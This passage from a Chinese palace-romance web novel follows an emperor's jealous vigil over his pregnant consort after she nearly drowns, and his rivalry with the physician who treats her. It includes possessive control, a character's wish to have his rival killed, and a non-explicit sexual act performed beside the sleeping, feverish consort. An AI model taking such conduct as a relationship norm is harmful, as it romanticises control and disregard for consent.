顾时几乎咬碎了牙,涨红了双眼,恶狠狠地瞪着他,这个秦思昭到底是什么意思。 是叫他这个正室多点容人之雅量,对他这个可恶的姘夫睁一只眼闭一只眼么? “泠川,你喜欢他吗?” 他低下了头,看着泠川苍白憔悴的脸,握紧拳头,沉着脸,咬牙切齿,咄咄逼人地质问泠川。 鬼门关上走了一遭,她也实在是楚楚可怜,不管她回答什么,他都不忍心真心怪她。 “只爱你一个。” 泠川实在忍无可忍,抢在前面说出了他想听的答案, 说完这句话,她长舒一口气,直板板靠在垫子上,顾时终于能暂时闭嘴,世界终于能清净了…… 她现在精疲力尽,什么想法都没有,只想赶紧休息。 “那你怎么不当着他的面说。” 顾时把脸撇到一边,满意了但是还没完全满意。 “老娘都快死了,你还没完没了的折腾,求你还我个清净。” 泠川骂完后,再也没了一丁点力气,一歪头,靠在垫子上睡了。 过了半个时辰,顾时把她背后的垫子撤走,让她平躺在床上,沉沉睡去。 他不想离开泠川,又不敢和她躺在一张床上,生怕一翻身胳膊压在她的胸腔喉咙上,再害她窒息,于是便命人重新支了一张小床,和泠川的床拉开了一些距离。 这样他能随时看着她,又不会惊扰到她。 到了半夜,他睡得不太安稳,每眯着一会儿便会在失去泠川的恐惧中惊醒,伸手去探泠川的鼻息。 她温热的鼻息扑到她的手指上,他才能收获片刻的安慰,重新睡去,可睡不上一个时辰,便会又在失去她的恐惧中惊醒。 泠川半夜咳嗽了几声,顾时便急匆匆地站了起来,披上外套,叫人去找女医。 女医也心有余悸,没有睡好,挂着两个黑眼圈来给泠川把脉。 “陛下,奴婢摸着娘娘似乎有些发热,奴婢也没有什么急救的经验……不如还是让奴婢去请秦大人吧……” 她犹犹豫豫地说了出来,生怕触怒了顾时。 顾时倒也没了什么愤怒的神色,只长叹了一口气: “也罢,那你便去请他吧。” 女医哆嗦了一下,这可不是她能参合的事,赶紧拎起裙摆,小跑着去请秦思昭来。 不过一炷香的时间,秦思昭便来了,他似乎早有准备。 “咳咳……咳……” 泠川躺在床上咳嗽。 他直接伸手去摸她的额头,说道: “是发热了,请女医打盆凉水过来。” 她只当没看见秦思昭直接把手放在了泠川的额头上,匆匆忙去准备了凉水和帕子。 “溺水后发热也是平常,需要每隔一个时辰监测一次体温,若是发热太过,便需要施针,陛下日理万机,还请您回去休息,避免耽误了明日的早朝。此处只留我和女医轮流监看便是。” “她都已经病成这样,我还顾得上什么早朝?怎能放得下心自己入睡?” “可是我与女医要轮流走动,您留在这里不仅休息不好,而且也很不方便。” 顾时只一味生起了闷气,秦思昭的意思就是他若是执意留在这里,不仅没有用处,还会帮倒忙。 更可气的是,他自己也知道秦思昭说的都是实话。 “也罢,泠川的安危最重要,我便先睡在侧殿,随时探望她便是。” “陛下圣明。” 秦思昭点了点头。 顾时心中气闷,他现在就想随时看着泠川,一刻都不想和她分开。 这个秦思昭实在可恶,等回头泠川好了,他再来慢慢地收拾掉他。 第62章 这一夜短促闷热,顾时难以入睡。 他实在是睡不着,翻来覆去,索性从床上爬起来穿好衣服,急匆匆地走进了泠川的房间。 里面不过只有一盏昏黄的灯,烛火在灯台里颤颤巍巍地哆嗦。 “好热……好冷……” 泠川躺在床上,因高烧而感到冷热交替,双颊烧得通红,因痛苦而发出呻吟声。 秦思昭搬了个板凳坐在旁边,给她扇着扇子,见他来,也丝毫没有停下的意思。 顾时故意发出了很大的脚步声,站在他身后,高高在上地俯视着他。 “秦大人可真是尽职尽责,不仅不眠不休地给我妻子检查体温,还帮忙扇扇子,可真是一片忠心日月可鉴……就连分外事也做得这般的好。” 他一边阴阳怪气,一边鼓起了掌。 “嘘……” 秦思昭只在唇前竖起一根手指,示意他噤声。 顾时气得额角青筋暴起,满脸涨红,努力攥紧拳头,克制着给秦思昭一拳的冲动。 秦思昭只继续给泠川扇着扇子,摸了摸她额前的帕子变热了,又熟练地换了条新的。 “给我出来。” 顾时嫉恨地看着他,谁知道这一整个晚上,秦思昭有没有偷偷亲吻过她。 秦思昭无奈叹了口气,只得走出了房门。 “她现在情况怎样?” 顾时冷冷地问。 秦思昭认真回答道: “基本脱离了生命危险,发热是正常的,但也得有医生一直在旁边守着才行。” “哼,孤男寡女夜晚共处一室……你怎么证明你没做什么逾矩之事?” “医者仁心,不必自证。” 秦思昭勉为其难地露出了一个微笑,笑容里有几分不耐烦。 “若是陛下没有其余的事,臣便继续去照顾娘娘了。今夜是最为危险的时候。” “既然今夜最危险,那我一定得守着才行。” 秦思昭无奈地叹了口气。 “只要您不惊扰到她就好。” 他转身便进了泠川所在的房间,顾时紧随其后。 泠川躺在床上,烧得已经神志不清,秦思昭要给她把脉,她却在迷迷糊糊之中一下抓住了他的手。 “娘亲……别走……” 她烧得难受,流出一滴泪来。 听到这一声娘亲,许多往事一下涌上心头,秦思昭浑身打了个寒战,他想伸出手去抚摸她的鬓发,却放下了那微微颤抖的手。 他垂下眼帘,眼里尽是落寞和失意,只能把那被她紧紧握住的手默默抽回。 她反而握得更紧了些,哭道: “娘亲,别丢下我……” 他实在于心不忍,轻声说道: “荣儿,别哭……娘亲在这儿呢……” 泠川的眼泪大颗大颗地落了下来。 “娘亲……你怎么才来……” 顾时鼻头发酸,如同被无形的手扼住了咽喉一般。 他完完整整地占有了她的少女年华,却同样完整地错过了她的童年。 他对她的过往几乎一无所知,那段美丽的回忆早已牢牢地掌握在了秦思昭手里,注定与他无关。 丈夫,妻子,女儿……一家三口组成的幸福家庭到底是什么感觉?顾时从未有过类似的体会。 顾时皱着眉头,疑惑地看着泠川因急切地寻找母亲而流下的泪。 究竟是被怎样的爱过,才会在这种爱消逝后痛苦得回肠九转,郁结于心? 就算是他也模模糊糊地知道,那父母早逝的惨痛宛如影之随形,响之应声,无时无刻不在啃噬着她的心脏。 她变成了脆弱无助的孩子,只牢牢地抓住了秦思昭的手,把他当成了她的母亲。 她的父母一定很爱她,可是顾时从来没被人那样爱过。 他看向她的腹部,倘若这个孩子能顺利出生,他就能知道一个完整的家庭是什么感觉了。 他产生了极大的期待和向往。 “秦思昭,她腹中的孩子还有希望保住吗?” “臣只能尽力为之。” 秦思昭叹了口气,拿出银针准备给她的指尖放血。 “荣儿,会有点疼,忍着点,放了血就好了。” 泠川睁开眼,稍微恢复了些神志,虚弱地颤了颤嘴唇,什么话都没说出来。 “嗯……” 银针刺入最为脆弱的指尖,十指连心之痛,她却无力惨叫出声,只用沙哑的嗓音低哼了一下。 几滴乌黑的血从她的指尖落了下来,直直落入一个洁白的玉盘里,空气中弥漫起一阵淡淡的腥气。 那乌黑的血液刺得他眼前一痛,顾时忽然觉得眼前一阵眩晕,不得不用手撑在墙上,勉强站住。 他会弓箭,可却从来不肯射活的靶子,只因他有些轻微的晕血…… “陛下若是晕血,一定不能进产房。而且娘娘在怀孕期间遭受了太多,恐怕需要一个有经验的女医接生,我虽没什么接生经验,但却很擅长大出血的急救,也随时预备着才好。” 秦思昭淡淡说道。 顾时咬紧了牙,一个大男人晕血可真是丢人现眼,而且他唯独不想让秦思昭发现他的弱点,勉强着说道: “无妨,不过是没休息好,有些疲惫罢了。” 放血完成后,秦思昭又用手去试了她额头的温度。 “娘娘有好转,体温不再像刚才那样烫了,已经基本脱离了危险,第二天我再来看看状态。” 泠川搂着薄薄的被子,把脸埋在柔软的被子里,终于睡得安稳了些。 顾时点了点头。 “嗯,你回去吧,我留在这儿看着她。” 秦思昭走后,顾时按捺不住地爬到了泠川的床上,让她躺在他的胸膛上。 她睡得很沉,没有意识,只一味地依偎在他肩膀上睡着。 他轻轻地撩拨开她的黑发,抚摸着她的侧颈,感受着她的脉搏在他的手指之下跳动。 泠川她还活着。 她已经彻底了垄断他得到幸福的可能性,他的妻子绝无可能是泠川之外的人,他的孩子只有可能是泠川所生,他唯独接受不了失去她。 为此,他可以付出任何代价,只要泠川还活着,还留在他的身边。 她无意识地搂着他的脖子,亲近地依赖着他。 他冷哼一声,秦思昭这个觊觎他妻子的混账现在还有点利用价值,还不能死。 等他的最后一点利用价值被榨干,便送他去西天吧! 可他不能亲自动手,否则泠川会记恨上他。 顾时恶意满满地诅咒着秦思昭,最好是他本身就有什么隐疾,到时候自己发作,默默地死在角落里才最让他省心。 如果巫蛊之术能有用,顾时真想扎小人日日夜夜诅咒他,把他活活咒死。 顾时一扭头,只见昏暗的灯光下,泠川那两片红润的唇。 她的嘴唇微微张着,露出一小片晶莹的贝齿,细弱的气流从唇齿之间若有若无地汩出,两颊也像是涂了胭脂。 她双眼紧闭,满是水汽的睫毛让她看起来楚楚可怜,眼角也微微泛红,柔弱无助。 即使他知道这样不道德,他不能对床上的病人产生那种想法,可此时此刻,渴欲如杂草般丛生。 他没忍住伸手去摸了摸她红润的嘴唇,柔软的触感从指尖袭来,酥酥麻麻。 泠川这样柔弱无助的时候并不常见,一下激起了他的凌|虐欲……他莫名其妙地想要弄脏她。 顾时心想,她不会知道的……毕竟她枕着他的肩膀,睡得这么熟。 一条薄被搭在他的腰上,他双眼死死盯着泠川,将手伸进了这薄薄的被子下面,被子上泛起一片褶皱的涟漪。 他没有触碰泠川,她不会知道他看着她做了那种见不得人的事,他甚至都没有亲吻她,如果可以,他真的很想咬她的下唇一口。 “嗯……” 泠川翻了个身,不再枕着他的肩膀,而是背对着他。 顾时觉得自己被打断了,心中有些不爽。 他看着她的背,薄薄的中衣下面只是肩胛骨的形状。 肩胛骨也没什么引人遐想之处,但形状依然精致好看。 顾时一下想起昔日里她背对着他,黑发披散在苍白的背上,呼吸急促,扭过头来看他,双眼含水的样子,又加快了些动作。 “呼……” 终于,他释然了。 顾时一下产生了一种对自己的厌恶感。 泠川命悬一线,病得难受,他作为她的丈夫,怎能在这种时候对她产生那种见不得人想法,简直该死。 泠川若是知道了,讨厌他也是理所当然的事。 在自我检讨之中,一阵疲惫感袭上了顾时的脑海,他一下子便睡着了。 “顾时?给我倒杯水。” 泠川沙哑的声音一下惊醒了他,他几乎是从床上弹了起来。 “泠川……怎么样……你还好吗?” 昨夜的负罪感让他有些神经质地检查泠川的精神情况。 “渴……” “我这就去给你倒水。” 他把泠川扶了起来,让她靠在垫子上,匆匆忙地去给她倒了茶。 泠川就着他的手把不温不热的淡茶喝了。 “想喝冰水。” “我命人去给你打井水来,等着。” 他轻轻地亲吻了一下她的侧颊,柔声安抚道。 过了一会儿,他拿着一壶水进来,重新给她倒了一杯。 她一口气把那冰凉的井水喝了,重新躺在了床上。 “我已经命人找大夫来,看看你的情况。” 顾时握着她的手,急切地说道。 “我感觉好些了。” 泠川用手背贴了贴自己的额头。 “我小时候发烧,我娘亲总是用嘴唇来试我额头的温度。” 她露出一个疲惫的笑容。 “我昨夜还以为我娘亲来了呢。” 顾时一下怔在了原地。 第63章 什么叫作以为她的娘亲来了……难道说在他看不见的时候,秦思昭用嘴唇试了她额头的温度。 顾时的心脏像是被揪了一下似的,却生不出什么醋意,只觉得无限失落。 在看到她呼吸停滞,面色惨白地躺在床上时,潜藏在内心深处的那份情意露出头来,好似在反抗着往日的那些庸人自扰般的痛苦。 想要她活下来的心情压倒性地战胜了一切独占欲,耀武扬威地宣誓着胜利。 昨晚是她最需要人陪伴的时候,也是最需要被拯救的时候,可他却只能在一旁看着,把这份恩情拱手让人,自己却什么都做不了。 他恍然大悟,实际上他是想要给她幸福,万种纠结瞬间迎刃而解,可却往往是言不达意,事与愿违。 他的心,总是一碰到什么就要退缩躲闪。 他究竟是不是能给泠川幸福的那个人?顾时陷入了自我怀疑。 甚至他还对病中的她做了那样下作的事…… “后半夜我也有在照顾你的。” 他讷讷地补上了这一句,他想要对泠川付出,却自知拿不出手。 “是吗?” 泠川睁大了眼睛,有些惊讶地看着他。 “你养尊处优,何时会照顾人了?” 他无奈地叹了口气,说道: “你病了,我也不愿假手于人,更不愿放着你不管。” 顾时揽着她的肩膀,贴在她耳畔问道: “泠川,你现在觉得好些了吗?” “好多了……” 她露出一个疲惫的微笑。 真是病来如山倒,病去如抽丝,她现在浑身关节酸软,使不上力气,头脑也混混沌沌,仿佛五脏六腑都掏空了一般。 见秦思昭走了进来,顾时伸手去紧了紧她敞开的衣领,揽着她的那只手又用力了几分。 “参见陛下。” 秦思昭颇为敷衍地行了礼。 “到了把脉的时间了。” 顾时扬起下巴,高高在上地看着他,一副宣誓主权的样子。 秦思昭已经主动戳破了窗户纸,她再继续一味装傻充愣也没有意义。 压力和热度一起从肩膀上袭来,泠川感觉到了顾时那炽热的不满,可夹在两个男人中间,她实在是有些尴尬,不知说什么好,索性垂下了头,继续装病。 她腹诽,本来顾时就是个醋坛子托生的,有事没事都要醋一下,这回更要疯了。 泠川本就刚刚恢复,这下更要为了这奇怪的三人关系而感到头疼。 她撇过头去,不敢看秦思昭的脸,对着他伸出了手。 他的手指按压在她的手腕上,她感觉到了他的手上有茧,那并不是一双养尊处优的手。 他父母早逝,好不容易成了她家的婿养子,结果没过两年,又生了变故。 她尚且能住进王府过锦衣玉食的生活,那他呢? 他才十三岁,要怎么才能独立生活……这些年里,恐怕他过得不容易吧…… 一个孩子夜里独对孤灯,是多么的寂寞难捱,每天早上醒来只有自己孤零零一个人,更别说还生活艰难,三餐难继。 在这样的生活里,他竟然还能读书识字,考上状元……究竟要比那些养尊处优的公子哥多付出多少? 泠川感到了愧疚,当年的她太幼稚,太鲁莽,也受打击太大,总想彻底和过去的自己做切割,丝毫没考虑过秦思昭的感受,甚至一度把他抛到脑后,没认出他来。 事情发展成今天这样,全是她的过错。 不就是跟顾时睡了吗,当年还以为是天大的事,现在一想根本不算什么,她怎能抛下秦思昭一个人独自面对生活? 反正卖身葬母也不丢脸,她就应该早早管顾时要一笔卖身钱,回家去和秦思昭结婚,这样他们三个都能过得很好。 秦思昭能考状元做官,她能陪着他当状元夫人,安安稳稳享清福,顾时自己去三宫六院七十二妃,干到身体掏空吧! 可现在呢?秦思昭的前程全毁了,性命都未必能保全,她肚子里怀着顾时的孩子,跌入水中差点死掉,顾时也没好到哪去,天天患得患失,被她磋磨得像发了癔症。 她虽然这样想,但只能把这种想法憋在心里,顾时若是听到她这么说,肯定又会发疯。 因过度的负罪感,她不敢看秦思昭的脸,低下头去,长长的睫毛压下来,遮住含愁似问的双眼。 他对她忠贞不二,她不仅没有做到和他一样忠贞,甚至还毁了他的前程,如此才华,恐怕再难在官场上施展了。 “秦大人……谢谢你救了我的命……我意外跌入水中,真是麻烦您了。” 顾时摸着她的脸,抢在秦思昭前面说道: “栏杆太低,虽然美观,但确实不安全,我已经命人把所有栏杆加高加密了,这样咱们的孩子出生后也放心一些。” “陛下所言极是,救命乃是臣分内之事,请不要介怀。” 秦思昭虽然嘴上说着陛下所言极是,双眼却满含温情地看着泠川。 这眼神让顾时十分厌烦,他的呼吸停了一瞬。 秦思昭把手从她的手腕上放了下去。 “已经好多了,只是胎像还是不稳,需要喝汤药调理一番,这一年都不能同房。您还有什么不舒服的地方吗?” 听到同房两个字,泠川更是尴尬,虽然是他早就知道的事,但依然让她恨不得找个地缝钻进去。 “就是……眼睛干涩,喉咙也干。” 泠川红着脸回答道。 “无妨,我有治疗眼部干涩的药,待会儿拿来便是了。” 秦思昭微笑道。 顾时眯起了眼,审视般地看着他,这个秦思昭会真的好心到爱屋及乌?帮他保住孩子么? 还是说他会悄悄动点手脚,把她肚子里的孩子流掉。 是真的不能同房,还是说他不想让他和泠川同房? “能摸出来这一胎是男孩还是女孩吗?” 他故意问道。 “现在不是关心这个的时候,能顺利生下来才最重要,等生下来自然揭晓。” 秦思昭回答。 顾时有些委屈,秦思昭说得就像他根本不关心泠川,只关心孩子似的。 他用肩膀撞了撞泠川的肩膀,示意她说点什么。 泠川抿着嘴,只当什么都不知道,一言不发。 “秦大人回去休息吧,反正泠川现在也有所好转,此处有我照顾她就行了。” 顾时的语气里忍不住带上了几分尖酸。 “臣告退。” 如今撕破了脸,他真是连装都懒得装,态度也越来越敷衍了。 顾时伸手去捏泠川的下巴。 “之前梦里还一口一个阿昭,今日便叫秦大人,荣儿你可真是一觉醒来,便和阿昭生分了呀。人家可是救了你的命,你不以身相许么?” “疼……” 泠川现在虚弱得狠,被他一捏下巴,眼里竟然泛起了泪花。 顾时自知有些过分,讷讷地松了手,把脸撇到一边去说。 “毕竟他救了你的命,再怎么样他也有功劳,你放心我不会杀他。但我毕竟是你的丈夫,眼里可揉不得沙子,再怎么样你也不能和他有什么逾矩的事。” 泠川觉得自己的头像锤子敲打似的嗡嗡直响,原本秦思昭才应该是她的丈夫,全是顾时厚颜无耻地勾引了她,一个第三者竟然还好意思吃醋。 她心中甚是不悦,眼里漫布细密的红血丝,气闷道: “你放心,我不想害死他,就算我想跟他上床,也只能忍着……毕竟这一年里我都不能找男人呢……” “怎么,你不是说过只爱我吗?怎么还想跟他上床?这么快又移情别恋啦?” 顾时的语气变得咄咄逼人。 泠川原本想干脆认下来,又怕激怒了他,索性一言不发地躺在了床上。 “病去如抽丝,现在虚弱得很,别来惹我。” 顾时一下子偃旗息鼓,没了气势,只能轻轻地说: “身体最重要,你现在还是休息吧。” “心情好,身体才能好,你少找点事比什么都强。” 泠川转过头抱怨。 “你的意思是叫我睁一只眼闭一只眼吗?” 顾时气闷地说道。 “我能活下来就不错了,这点事你就别计较了,总之,我没跟别人上过床,孩子肯定是你的。” 泠川用沙哑的嗓音抱怨道。 顾时冷笑一声,说道: “哼,那可真是委屈你了呢。” “赶紧闭嘴,我要睡觉。” 泠川觉得眼睛和喉咙特别干涩,一翻身,又昏昏沉沉地睡去了。 她在顾时的大腿上醒来,他手里拿着一个洁白的小瓶,那小瓶和假死药的小瓶一模一样,泠川被吓得心跳少了一拍。 “这是秦思昭给我的药水,说是点在眼睛里,能缓解眼睛干涩。” “哦……我害怕眼睛里进东西呢。” 泠川的眼睛眨了眨。 此言非虚,顾时伸手去撑开她的眼皮,眼睛本就是人体最敏感的部位之一,她不马上躲开就已经是拼尽全力了,一直忍不住地眨着眼睛。 那药水落下来时,她忍不住短促地尖叫了一声,紧闭双眼,撇过头去,药水就像泪一样从她的脸上划过。 “哎,泠川,你忍一忍嘛,不要乱动。” 顾时皱着眉头,低声抱怨道。 第64章 “不行,真的不行,害怕……” 泠川不怕喝汤药,但偏偏就很怕眼睛*里进异物,在柳絮飘荡的季节,她总是要戴上蒙着白色薄纱的帷帽才肯出门。 顾时用手擦了擦落到她脸上的药水,抱怨道: “你忍一下。” 他又用手指去碰她的眼睛,她猛地往后一缩。 “换我自己来……用不着你来帮我……” 她颤颤巍巍地接过了那白色的小瓶,往眼睛里倒了一小滴下来,结果眼睛不受控制地眨了一下。 “哎,就一个药水你还磨蹭半天,一狠心不就滴进去了吗,你到底行不行啊。” 顾时叹了口气。 泠川努力回忆自己之前把那个装着假死药的小药瓶放到哪里去了……她记得自己把那个空瓶子里灌上了墨水,又放了一颗药,可是之后呢? 她不想被发现任何蛛丝马迹,她得找个机会告诉秦思昭,那枚假死药现在已经被转移走了。 顾时如果知道了她竟然想假死逃跑……会怎么样? 泠川不知道,也不想知道。 她听到一阵敲门声,随后看着秦思昭走了进来。 他看起来也有些憔悴,眼角微微垂了下去,眼下有一片乌青。 “现在需要放血,麻烦陛下回避一下。” “我没事。” 被人点出晕血的毛病,顾时的心中有些不悦。 “一个病人已经是耗竭心力,臣不想再多一个病人,既然陛下晕血,就不要逞强,还请您回避一下吧。” 泠川怔怔地看着顾时,问: “怎么?顾时,你晕血啊?” 她的嘴角扯出了一个有些幸灾乐祸的笑容,真是没想到,这家伙竟然晕血。 顾时的脸一下涨得通红。 “一点小毛病而已,不严重。” 泠川乐坏了,捂着嘴憋着笑,可是她还病着,这一憋反倒开始不停地咳嗽。 “咳咳咳……” 顾时只好去拍她的后背。 “咳咳……顾时,你晕血就出去等着吧,没事的。” “陛下,放血可以止咳,还请您出去一下。” 秦思昭已经把寒光凛凛的银针拿了出来,看得顾时心头一紧,只好走出了屋子。 可出去后,他又疑心秦思昭会趁这个机会和泠川偷偷亲近,便把耳朵贴在了门上。 秦思昭一言不发,让泠川坐起来,伸手去捏了她的耳朵尖。 “要扎耳朵上的穴位,忍一下。” 他低声说道。 秦思昭看着她的眼睛,他长了一双水润的桃花眼,因没有休息好,双眼皮上多了一道褶子,把他的眼睛压了下去,眼下是一片乌青。 他手指的热度从她的耳朵上传来,她不敢继续看他的眼睛,一下涨红了脸,只能低下头,看自己紧张地揉搓在一起的双手。 “嗯……” 他的手法可谓是稳准狠,可她却只低哼了一下,甚至都没感觉到多疼。 现在可不是因他靠得太近而感到紧张的时候,她快速地把之前的回忆从脑海里翻出来,趁这个机会,一股脑地倒给他。 她趴到他耳畔,用气声说道: “你之前给我的药,据说已经送到外面去进行验查了……” 泠川皱着眉头。 “我怕牵连到你,要不你赶紧辞官吧,反正我也死不了。” 秦思昭只笑了笑。 “没事,我不怕的。” 泠川怔住,他究竟是真的不怕,还是在安慰她? 她拧起眉头,有些生气地低声说道: “秦思昭,你别犯蠢!我不想看见你死!” 顾时把耳朵贴在门上,努力地偷听,不错过每一个细节 他清清楚楚地听见泠川先是说了什么药的事,之后又劝他辞官。 秦思昭那里瓶瓶罐罐的药数不胜数,他也不稀得知道。 他确实应该辞官的,毕竟他觊觎的可是天子的妻子,已经彻底把这个国家的最高领导者给得罪了。 要是他给他递辞呈,他喜闻乐见。 他冷笑,背着手走出了这里。 秦思昭用那双因疲惫而显出媚态的桃花眼,微笑着看了看泠川。 他坐在她的床上,拿起那个装着药水的小瓶,示意她躺在自己腿上。 泠川的脸红了红,说话打起了磕巴: “这样……这样不太好吧……” “不过就是正常给你上个眼药水罢了,不逾矩的。你最害怕眼睛里进东西,对吧?” “你怎么连这个都知道……” “你小时候被马蜂叮了眼皮,眼睛肿起那么大个包,谁都没法给你上药,都说你跟条活鱼似的一直挣扎,按都按不住。可是你偏偏只让我给你上药。” 他微微笑着,语气里带着怀念,还带着一丝无可挽回的忧伤。 泠川怯怯地说道: “我不记得了……” 他笑着看她,就像看一眼就少一眼似的。 “躺上来吧,没事的。” 她将黑发撩起来,躺在他的大腿上面。 “滴完了。” “咦,这么快吗?” 泠川直接坐了起来,她还没来得及不好意思,就结束了? 她眨了眨眼,双眼确实觉得湿润舒适了许多,没有任何不适,他究竟是怎么把药水滴进去的? “阿昭,你可真厉害啊。” 她情不自禁地说道。 “荣儿姐姐谬赞了。” 泠川忽然想起来,小的时候,他就是这样叫她的。 她忽然有了一种怪异的直觉,如果现在不道歉,以后就再也没机会跟他道歉了。 “阿昭,对不起,我不该丢下你一个人……这些年里你受苦了。” “干嘛要责怪自己呢?你也是还个孩子呢。” 秦思昭真诚地看着她,他看到她的眼睛时便知晓,泠川受的苦并不比他少。 这些年里,他走南闯北地打听她的去向,确认了她被收留进王府,认作义妹后,就立马开始准备科举,一秒都不敢耽误。 他心底清楚,泠川的性子在帝王家根本活不长,就像金笼子养不活最平凡的麻雀一样。 这次溺水已经是某种不幸的外应,他想带她回家…… 顾时走出了殿外,金盏就紧张地守在外面。 她一听说泠川落水,立马就急忙忙地回来了,再也顾不上什么休假。 我滴个龟龟,这可不是小事,若是泠川有个什么好歹,顾时一发疯,他们这些小鱼小虾都得跟着遭殃。 “陛下,娘娘的情况如何?” 她露出焦急的神情,不是操心她的命,而是操心自己的命。 “已经没有大碍了,这都是秦思昭的功劳。” 顾时冷笑。 秦思昭……这个名字听得金盏脖后一凉。 这个人是不是跟泠川有一腿来着……那日她听见那个当众求顾时赐婚的,好像就是他吧? 冷汗从她的额角上流了下来,丈夫的妻子被情夫救了命,这搁哪都是惊天动地的大八卦,她真不知道该说什么是好。 顾时冷哼一声: “你去挑几个最漂亮的宫女,好好的去伺候他,也算是对他的奖赏了。” 就算秦思昭不跟那些宫女发生什么,能膈应膈应泠川也是好的。 金盏立马心领意会,换上了一副狗腿子的笑容,点头哈腰地说道: “陛下圣明,包在奴婢身上。” “哎……别叫了,他现在需要给泠川治病,被这些乱七八糟的事耽搁就不好了,还是算了吧。” 但是想到泠川可能会因为秦思昭而心情失落,顾时还是收回了成命。 泠川面色青白,躺在床上一动不动的样子给他造成了极大的心理阴影。 他只要一闭眼,就会想象到她躺在棺材里,皮肤浮肿的样子,他仿佛自己也溺水了一般,感到难以呼吸。 顾时越想越觉得后怕,若不是秦思昭对她有情,他只能得到一具尸体。 他实在承受不了她有一丁点危险,和失去泠川,变成鳏夫的痛苦相比,就算她真的跟秦思昭有什么奸情,也变得不那么难以接受了。 顾时发现自己的底线被泠川一次又一次地突破,他却只能把底线画得越来越低。 “是,一切以娘娘的身体为重……奴婢也该去看看她的。” “嗯,你去替我看看她吧。” 顾时现在想独自待一会儿,整理整理失落的心情。 从今天以后,泠川心里不可能只有他一个了。 金盏走进去前,深吸了一口气,给自己做足了心理准备。 待会儿,不管她看见了什么,不管是拥抱,亲嘴,还是更过分的事……她都只装成没看见。 “泠川姑娘,我来看您啦!” 拉开门前,金盏特意扯开了嗓子,给泠川留下了反应的时间。 “咳咳……” 她走进去,尴尬地瞥了泠川一眼,她倒也算不上衣衫不整,就是这气氛可有些不对劲……她一个万年孤寡都能闻出来暧昧。 “泠川姑娘,听闻您溺水了,现在好些了吧……” 她把一盘切开的雪梨放在了桌子上,上面浇了一层亮晶晶的蜂蜜,看起来晶莹剔透。 泠川自然地看向了秦思昭,用沙哑的嗓音问道: “上面这层蜂蜜会不会有点甜?我现在能吃吗?” “没关系的,吃点甜的心情也会好。” 他把那盘雪梨递给了泠川。 金盏起了一身鸡皮疙瘩。 我滴个乖乖,怎么能肉麻成这样啊??? 她还在这儿呢。 这得让顾时多长几根白头发啊…… 第65章 她仔细想了想,怎么也回忆不起来泠川和顾时暧昧的时候。 他们两个似乎从来没这般腻腻歪歪拉拉扯扯过,基本上都是要么吵,要么打,要么就干脆直接摇床去了。 金盏尴尬地摸了摸自己的鼻子。 行吧,真没想到他俩都结婚了,泠川还能一声不吭地偷人。 她这日子过得可真是太精彩了,幸好一切都与她无关,她可不想过得这么精彩。 “奴婢告退。” 她赶紧走了出去,顾时还坐在树荫下,消瘦的手撑着苍白的下巴,薄薄的眼皮垂下来,一副闷闷不乐的样子。 也对,他真该好好郁闷郁闷,混到这个份儿上,也是他咎由自取。 “参见陛下,我瞧着她应该是没什么大事儿了,真是万幸捡回一条命。” “嗯,退下吧。” 他低声道。 他不能接受也得逼着自己接受,可就是越想越觉得咽不下这口气,气闷地走进泠川的房间,想直接他们两个打个措手不及。 “泠川,就你一个人在这儿?” 她扭过头来,颇有些不耐烦说道: “人家来给我放完血之后就走了呀。” “放的是哪里的血?” 顾时看着她冰冷如玉的白肤,找不到流过血的痕迹。 她将黑发撩拨到另外一边的肩膀上,露出一大片白皙的皮肤,指了指自己的耳朵顶端。 “是耳朵上的血。” 她知道顾时肯定吃醋了,又是要在说一大长串酸里酸气的话后,逼她说好多罗里吧嗦的肉麻话。 可是令她惊异的是,他竟然什么也没说,只跟泄了气似的看着她。 “你能恢复健康就好。” 他小心翼翼地捧着她的脸,想要亲了亲她的脸颊,可心中却不知她是否愿意让他再亲吻一下。 这话说出口后,顾时觉得后悔,自己就像默许了她的不忠似的。 只要她能恢复健康,即便再找一个奸夫也可以么? 他好像还真的对此感到疲惫了,无可奈何又只能保持豁达大度,他因这种豁达而感到痛苦万分,可痛的久了,便麻木了。 他也想当一个锱铢必较,睚眦必报的人,可又下不了决心去承担那背后的损失。 他看着泠川,她没什么特别的反应,只是带着那淡淡不耐烦似的神情,一如既往。 她会因为心中有了另一个人就厌倦他吗?还是说她是先厌倦了他,才心里又有了一个人? 他现在最想做的事情是和她交欢,这样他就能快速用身体确认她是否还对他有爱,可现在却不能这样做。 如果泠川现在就抬手给他一记耳光,他会因此感到高兴,从中得到一种绝望的愉悦感,至少她在抬手打他的时候,眼里会有他。 他看着她的脖子,绝望地想着。 如果他现在强行要和她欢好,她会怎么做? 她会不会拔下头上的银簪,捅穿他的喉咙。 他看着她如同融化蜜糖一般的黑发,上面什么饰物都没有。 “泠川,你的银簪呢?” 她像忽然想起什么似的,恐慌地摸了摸自己的头。 “坏了……恐怕是掉在水里了。” 顾时抱着她,轻轻拍着她的后背安抚道: “别急,我命人去把水抽干,说什么都会给你找回来的。” “谢谢你呀……顾时……” 泠川用沙哑的嗓音说道, 她实在是有些惊讶,顾时何时变得这般体贴了?不仅没吃醋,还主动提出要帮她找回簪子。 顾时感受着她的体温,她的身子是柔软放松的,并没有抵触这个拥抱。 确实,她一直都不抵触和他有什么肢体接触,顾时却没法对此感到安心。 他回想起许多和泠川在一起的细节。 他会按照自己的情绪,肆意地在回忆里添加许多让他的情绪更加激烈的故事。 那些细节都是失真的。 和她在一起六年,他却反倒说不出和她经历了什么,也说不出他对她的情是从什么时候开始。 实在是倍感凄凉。 一半绝望,一半希冀,即使泠川做不到只爱他,顾时还是希望泠川能爱他。 她回抱了他,把头轻轻放在他的肩膀上。 “别担心,顾时,我还是会跟你在一起的。” 为了表扬顾时今日的大度,泠川也大度地安慰了他。 “这是你的本意么?” 一不留神,真心话从心底溜出了口。 如果有的选,泠川真的会选他吗?顾时自己都不信。 泠川犹豫了一下,不知道该说“是”还是“不是”,索性佯装生气: “哪有那么多本意不本意的?横竖都这样了,你还问那么多干什么。” “好吧,什么都听你的,不问了。” 顾时摆出了一副顺从的样子。 她摸了摸顾时的脸,心想如果他能一直这个样子,那也不是不能继续跟他过。 “泠川,你现在觉得生命可贵了吗?” 他握着她的手问。 从前她总是寻死觅活,可这次真的差点丧命,她对待生命的态度总该变了吧。 顾时一下把泠川给问蒙了。 虽然说是鬼门关里走了一圈,可泠川并未产生什么对生命的感悟,她甚至都没意识到自己差点死了。 她没看到走马灯,也没什么感慨,更没感觉到生命的遗憾。 她只有肉|体层面的感悟,就是呛了好多水,然后就晕了,再醒来的时候已经有些神志不清。 